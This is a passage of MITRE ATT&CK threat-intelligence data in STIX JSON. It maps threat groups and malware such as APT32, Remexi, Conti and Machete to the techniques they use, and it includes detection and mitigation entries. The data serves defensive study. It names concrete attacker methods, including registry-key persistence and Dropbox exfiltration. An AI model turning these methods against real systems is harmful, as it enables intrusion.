content)","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--0ad7bc5c-235a-4048-944b-3b286676cb74","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9cacb002-a04a-4779-997e-0cc9efaabda2","type":"relationship","created":"2020-03-25T13:55:54.240Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/","description":"Foltýn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.","source_name":"ESET OceanLotus"},{"source_name":"Cybereason Cobalt Kitty 2017","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"},{"source_name":"ESET OceanLotus Mar 2019","url":"https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/","description":"Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019."}],"modified":"2020-03-25T13:55:54.240Z","description":"[APT32](https://attack.mitre.org/groups/G0050) modified Windows Services to ensure PowerShell scripts were loaded on the system. [APT32](https://attack.mitre.org/groups/G0050) also creates a Windows service to establish persistence.(Citation: ESET OceanLotus)(Citation: Cybereason Cobalt Kitty 2017)(Citation: ESET OceanLotus Mar 2019)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9cae28f1-dbae-406b-b205-ab9c9cbd26f5","type":"relationship","created":"2019-04-17T19:18:00.442Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Remexi Jan 2019","url":"https://securelist.com/chafer-used-remexi-malware/89538/","description":"Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019."}],"modified":"2019-04-22T20:18:07.064Z","description":"[Remexi](https://attack.mitre.org/software/S0375) achieves persistence using Userinit by adding the Registry key HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit.(Citation: Securelist Remexi Jan 2019)","relationship_type":"uses","source_ref":"malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5","target_ref":"attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9cb17d40-fe0f-4b68-bac7-78778c8772d7","created":"2022-07-18T15:58:16.878Z","x_mitre_version":"0.1","external_references":[{"source_name":"Korean FSI TA505 2020","url":"https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory=","description":"Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[FlawedAmmyy](https://attack.mitre.org/software/S0381) can capture screenshots.(Citation: Korean FSI TA505 2020)","modified":"2022-07-18T15:58:16.878Z","relationship_type":"uses","source_ref":"malware--432555de-63bf-4f2a-a3fa-f720a4561078","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9cb75506-505c-49b9-9162-c79c2c069244","created":"2022-03-30T14:26:51.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-10T13:16:23.428Z","description":"Monitor for newly constructed processes and/or command-lines that will have a parent process of ‘systemd’, a parent process ID of 1, and will usually execute as the ‘root’ user.\n\nNote: This query looks for processes spawned by systemd (parent process systemd, with a PID of 1). These processes should be examined for anomalous behavior, particularly when running as the root user.\n\nAnalytic 1 - Look for processes with parent process systemdand unusual parameters.\n\n sourcetype=linux_process_creation parent_process_name=\"systemd\"","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9cb9a1a6-8fdf-4201-af7d-156a92d0f358","created":"2024-09-19T14:34:08.570Z","revoked":false,"external_references":[{"source_name":"CrowdStrike SUNSPOT Implant January 2021","description":"CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021.","url":"https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-19T14:34:08.570Z","description":"[SUNSPOT](https://attack.mitre.org/software/S0562) creates a mutex using the hard-coded value ` {12d61a41-4b74-7610-a4d8-3028d2f56395}` to ensure that only one instance of itself is running.(Citation: CrowdStrike SUNSPOT Implant January 2021) ","relationship_type":"uses","source_ref":"malware--bf48e7f8-752c-4ce8-bf8f-748edacd8fa6","target_ref":"attack-pattern--49fca0d2-685d-41eb-8bd4-05451cc3a742","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9cba53fd-9b5c-4dc3-b933-c167b1d62a03","type":"relationship","created":"2019-09-13T14:28:14.466Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.","url":"https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html","source_name":"Cylance Machete Mar 2017"},{"source_name":"ESET Machete July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."}],"modified":"2020-11-20T20:11:15.531Z","description":"[Machete](https://attack.mitre.org/software/S0409) can find, encrypt, and upload files from fixed and removable drives.(Citation: Cylance Machete Mar 2017)(Citation: ESET Machete July 2019) ","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9cbb4f4c-c25f-42c4-a5ba-52e70a6654bd","type":"relationship","created":"2021-04-13T13:07:50.660Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ANSSI Sandworm January 2021","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf","description":"ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."}],"modified":"2021-04-13T13:07:50.660Z","description":"[P.A.S. Webshell](https://attack.mitre.org/software/S0598) can delete scripts from a subdirectory of /tmp after they are run.(Citation: ANSSI Sandworm January 2021)","relationship_type":"uses","source_ref":"malware--4800d0f9-00aa-47cd-a4d2-92198585b8fd","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9cbfc2f6-0b87-402c-b536-2d9688b2e0ea","created":"2021-09-14T03:13:16.471Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"sentinelone shlayer to zshlayer","description":"Phil Stokes. (2020, September 8). Coming Out of Your Shell: From Shlayer to ZShlayer. Retrieved September 13, 2021.","url":"https://www.sentinelone.com/blog/coming-out-of-your-shell-from-shlayer-to-zshlayer/"},{"source_name":"20 macOS Common Tools and Techniques","description":"Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.","url":"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T20:54:19.624Z","description":"[OSX/Shlayer](https://attack.mitre.org/software/S0402) has used the command appDir=\"$(dirname $(dirname \"$currentDir\"))\" and $(dirname \"$(pwd -P)\") to construct installation paths.(Citation: sentinelone shlayer to zshlayer)(Citation: 20 macOS Common Tools and Techniques)","relationship_type":"uses","source_ref":"malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9cc2f27e-bf85-4471-8be5-0cf614cd5840","type":"relationship","created":"2019-02-21T21:12:55.716Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT39 Jan 2019","url":"https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html","description":"Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019."}],"modified":"2019-04-29T18:16:38.860Z","description":"(Citation: FireEye APT39 Jan 2019)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"malware--56f46b17-8cfa-46c0-b501-dd52fef394e2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9cc440a2-5770-449d-8886-fcc0d221deaf","created":"2023-04-12T22:27:54.023Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-12T22:27:54.023Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--bef8aaee-961d-4359-a308-4c2182bcedff","target_ref":"attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9cc4cd5d-7b10-4dd7-8fd9-90288aa8b5be","type":"relationship","created":"2020-06-08T18:06:36.380Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky TajMahal April 2019","url":"https://securelist.com/project-tajmahal/90240/","description":"GReAT. (2019, April 10). Project TajMahal – a sophisticated new APT framework. Retrieved October 14, 2019."}],"modified":"2020-06-15T21:19:30.968Z","description":"[TajMahal](https://attack.mitre.org/software/S0467) has the ability to manage an automated queue of egress files and commands sent to its C2.(Citation: Kaspersky TajMahal April 2019)","relationship_type":"uses","source_ref":"malware--b51797f7-57da-4210-b8ac-b8632ee75d70","target_ref":"attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9cc5bd19-ab08-4eb7-886b-ce55fde60421","type":"relationship","created":"2021-02-25T00:50:55.423Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CarbonBlack Conti July 2020","url":"https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/","description":"Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021."},{"source_name":"Cybereason Conti Jan 2021","url":"https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware","description":"Rochberger, L. (2021, January 12). Cybereason vs. Conti Ransomware. Retrieved February 17, 2021."},{"source_name":"CrowdStrike Wizard Spider October 2020","url":"https://www.crowdstrike.com/blog/wizard-spider-adversary-update/","description":"Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021."}],"modified":"2021-06-15T20:00:18.171Z","description":"[Conti](https://attack.mitre.org/software/S0575) can use compiler-based obfuscation for its code, encrypt DLLs, and hide Windows API calls.(Citation: CarbonBlack Conti July 2020)(Citation: Cybereason Conti Jan 2021)(Citation: CrowdStrike Wizard Spider October 2020)","relationship_type":"uses","source_ref":"malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9cc847b7-61ae-46f7-ab06-16560775d44b","type":"relationship","created":"2021-03-31T15:35:34.085Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ANSSI Sandworm January 2021","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf","description":"ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."}],"modified":"2021-03-31T15:35:34.085Z","description":"[Exaramel for Linux](https://attack.mitre.org/software/S0401) can uninstall its persistence mechanism and delete its configuration file.(Citation: ANSSI Sandworm January 2021)","relationship_type":"uses","source_ref":"malware--11194d8b-fdce-45d2-8047-df15bb8f16bd","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9ccb448d-955e-438a-b394-bdafa50092b7","created":"2024-08-30T13:50:42.652Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T13:50:42.652Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--fb75213f-cfb0-40bf-a02f-3bad93d6601e","target_ref":"attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9ccf0f5a-e1c1-4be1-b823-cf087a07c670","type":"relationship","created":"2021-03-25T16:01:55.246Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zscaler APT31 Covid-19 October 2020","url":"https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online","description":"Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021."}],"modified":"2021-03-25T16:01:55.246Z","description":"[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has exfiltrated files via the Dropbox API C2.(Citation: Zscaler APT31 Covid-19 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9cd53236-9af0-4a36-8a4e-903b3673bb9e","created":"2024-05-22T20:44:03.378Z","revoked":false,"external_references":[{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T20:44:03.378Z","description":"[IPsec Helper](https://attack.mitre.org/software/S1132) will sleep for a random number of seconds, iterating 200 times over sleeps between one to three seconds, before continuing execution flow.(Citation: SentinelOne Agrius 2021)","relationship_type":"uses","source_ref":"malware--b5dc19b7-588d-403b-848d-c868bd61ffa1","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9cd7c6d3-95a1-4403-8799-807b9f27509a","type":"relationship","created":"2020-11-10T20:29:51.931Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Brazilian Banking Malware July 2020","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}],"modified":"2020-12-22T21:20:18.246Z","description":"[Melcoz](https://attack.mitre.org/software/S0530) can use VBS scripts to execute malicious DLLs.(Citation: Securelist Brazilian Banking Malware July 2020)","relationship_type":"uses","source_ref":"malware--d3105fb5-c494-4fd1-a7be-414eab9e0c96","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9cd85648-3618-4817-a178-d36d7c40631c","created":"2023-03-02T18:44:56.980Z","revoked":false,"external_references":[{"source_name":"Sophos BlackCat Jul 2022","description":"Brandt, Andrew. (2022, July 14). BlackCat ransomware attacks not merely a byproduct of bad luck. Retrieved December 20, 2022.","url":"https://news.sophos.com/en-us/2022/07/14/blackcat-ransomware-attacks-not-merely-a-byproduct-of-bad-luck/"},{"source_name":"Microsoft BlackCat Jun 2022","description":"Microsoft Defender Threat Intelligence. (2022, June 13). The many lives of BlackCat ransomware. Retrieved December 20, 2022.","url":"https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-02T18:44:56.980Z","description":"[BlackCat](https://attack.mitre.org/software/S1068) has the ability to discover network shares on compromised networks.(Citation: Microsoft BlackCat Jun 2022)(Citation: Sophos BlackCat Jul 2022)","relationship_type":"uses","source_ref":"malware--50c44c34-3abb-48ae-9433-a2337de5b0bc","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9cd8ce7f-7440-4ac4-b4cf-a758dd158672","type":"relationship","created":"2021-11-24T19:26:27.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"modified":"2021-11-24T19:26:27.465Z","description":"[LazyScripter](https://attack.mitre.org/groups/G0140) has used spam emails weaponized with archive or document files as its initial infection vector.(Citation: MalwareBytes LazyScripter Feb 2021)","relationship_type":"uses","source_ref":"intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9cdb5a1a-a68f-4ee2-a807-ba4c0ae8e436","type":"relationship","created":"2020-04-28T13:48:00.947Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT41 March 2020","url":"https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html","description":"Glyer, C, et al. (2020, March). This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved April 28, 2020."}],"modified":"2020-04-28T13:48:00.947Z","description":"(Citation: FireEye APT41 March 2020)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"tool--0a68f1f1-da74-4d28-8d9a-696c082706cc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9cdefbe1-60ce-42b6-908d-1a630e78389c","type":"relationship","created":"2020-10-19T19:53:10.711Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco IOS Software Integrity Assurance - Credentials Management","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#40","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Credentials Management. Retrieved October 19, 2020."}],"modified":"2020-10-22T17:49:03.085Z","description":"Some embedded network devices are capable of storing passwords for local accounts in either plain-text or encrypted formats. Ensure that, where available, local passwords are always encrypted, per vendor recommendations. (Citation: Cisco IOS Software Integrity Assurance - Credentials Management)","relationship_type":"mitigates","source_ref":"course-of-action--49c06d54-9002-491d-9147-8efb537fbd26","target_ref":"attack-pattern--fc74ba38-dc98-461f-8611-b3dbf9978e3d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9ce0b5a6-b0e8-45b3-9c5c-bbb6b891a216","type":"relationship","created":"2020-12-03T21:28:16.207Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Accenture HyperStack October 2020","url":"https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity","description":"Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020."}],"modified":"2020-12-03T21:28:16.207Z","description":"[HyperStack](https://attack.mitre.org/software/S0537) has used RSA encryption for C2 communications.(Citation: Accenture HyperStack October 2020)","relationship_type":"uses","source_ref":"malware--2cf7dec3-66fc-423f-b2c7-58f1de243b4e","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9ce465d9-921b-4d6d-8863-b1ffc63f0e8e","created":"2021-03-12T14:10:50.038Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Leonardo Turla Penquin May 2020","description":"Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA “Penquin_x64”. Retrieved March 11, 2021.","url":"https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-28T21:27:07.141Z","description":"[Penquin](https://attack.mitre.org/software/S0587) can encrypt communications using the BlowFish algorithm and a symmetric key exchanged with Diffie Hellman.(Citation: Leonardo Turla Penquin May 2020)","relationship_type":"uses","source_ref":"malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9ce4b00d-fa78-4c17-9b96-b36bb9117a4a","type":"relationship","created":"2022-03-30T14:26:51.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.855Z","description":"Monitor the behavior of containers within the environment to detect anomalous behavior or malicious activity after users deploy from malicious images.","source_ref":"x-mitre-data-component--5fe82895-28e5-4aac-845e-dc886b63be2e","target_ref":"attack-pattern--b0c74ef9-c61e-4986-88cb-78da98a355ec","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9ce9ab1f-b4fa-41e7-8302-11c30f918001","created":"2020-06-09T15:33:13.725Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant M-Trends 2020","description":"Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.","url":"https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-30T13:28:37.417Z","description":"Limit permissions for creating snapshots or backups in accordance with least privilege. Organizations should limit the number of users within the organization with an IAM role that has administrative privileges, strive to reduce all permanent privileged role assignments, and conduct periodic entitlement reviews on IAM users, roles and policies.(Citation: Mandiant M-Trends 2020)","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--ed2e45f9-d338-4eb2-8ce5-3a2e03323bc1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9ceaecae-f85d-4eb7-a518-fb98b2b71c66","type":"relationship","created":"2019-09-13T14:28:14.449Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Machete July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."},{"source_name":"Securelist Machete Aug 2014","url":"https://securelist.com/el-machete/66108/","description":"Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019."}],"modified":"2020-03-29T23:41:54.876Z","description":"[Machete](https://attack.mitre.org/software/S0409) has a feature to copy files from every drive onto a removable drive in a hidden folder.(Citation: ESET Machete July 2019)(Citation: Securelist Machete Aug 